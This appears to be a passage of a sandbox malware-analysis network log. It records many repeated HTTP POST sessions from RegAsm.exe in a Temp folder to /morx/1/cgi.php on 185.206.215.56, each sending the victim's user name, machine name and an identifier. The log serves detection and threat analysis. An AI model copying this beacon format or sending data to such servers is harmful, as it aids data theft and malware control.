Jan 5, 2021 19:06:14.464921951 CET	1165	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:14.558085918 CET	1166	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:13 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	192.168.2.22	49347	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:17.070971966 CET	1379	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:17.136715889 CET	1379	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:17.241789103 CET	1379	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:16 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.2.22	49348	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:17.441718102 CET	1380	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:17.512903929 CET	1380	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:17.595690966 CET	1381	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:16 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	192.168.2.22	49349	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:17.814657927 CET	1381	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:17.886547089 CET	1382	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:17.974678993 CET	1382	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:17 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	192.168.2.22	49350	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:18.170245886 CET	1383	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:18.245968103 CET	1383	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:18.342972994 CET	1383	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:17 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
184	192.168.2.22	49351	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:18.546783924 CET	1384	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:18.621004105 CET	1384	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:18.726488113 CET	1385	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:17 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	192.168.2.22	49352	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:18.940629005 CET	1385	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:19.011570930 CET	1386	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:19.100817919 CET	1386	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:18 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.2.22	49353	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:19.314073086 CET	1387	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:19.386976957 CET	1387	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:19.472804070 CET	1387	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:18 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
187	192.168.2.22	49354	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:19.678881884 CET	1388	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:19.746011019 CET	1388	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:19.836988926 CET	1389	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:18 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
188	192.168.2.22	49355	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:20.060760021 CET	1389	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:20.136992931 CET	1390	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:20.222455978 CET	1390	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:19 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
189	192.168.2.22	49356	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:20.437124968 CET	1391	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:20.511753082 CET	1391	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:20.607773066 CET	1391	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:19 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.22	49186	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:14.788464069 CET	1166	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:14.855834007 CET	1167	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:14.954180002 CET	1167	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:14 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
190	192.168.2.22	49357	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:20.817266941 CET	1392	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:20.886699915 CET	1392	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:20.984601021 CET	1393	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:20 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
191	192.168.2.22	49358	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:21.198559999 CET	1393	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:21.277508974 CET	1394	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:21.387078047 CET	1394	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:20 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
192	192.168.2.22	49359	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:21.572190046 CET	1395	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:21.636636019 CET	1395	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:21.741503954 CET	1395	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:20 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49169	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:08.163208961 CET	1144	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 176 Connection: close
Jan 5, 2021 19:06:08.230293036 CET	1144	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: 'ckav.ruAlbus216554ALBUS-PC+0DE4229FCF97F5879F50F8FD31K2v2
Jan 5, 2021 19:06:08.331588984 CET	1145	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:07 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 15 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.22	49187	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:15.165872097 CET	1168	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:15.246450901 CET	1168	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:15.352806091 CET	1168	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:14 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.22	49188	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:15.552401066 CET	1169	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:15.621453047 CET	1169	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:15.734059095 CET	1170	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:14 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.22	49189	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:15.960354090 CET	1170	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:16.043039083 CET	1171	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:16.139384985 CET	1171	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:15 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.22	49190	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:16.358508110 CET	1172	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:16.433563948 CET	1172	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:16.531882048 CET	1172	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:15 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.22	49191	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:16.795878887 CET	1173	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
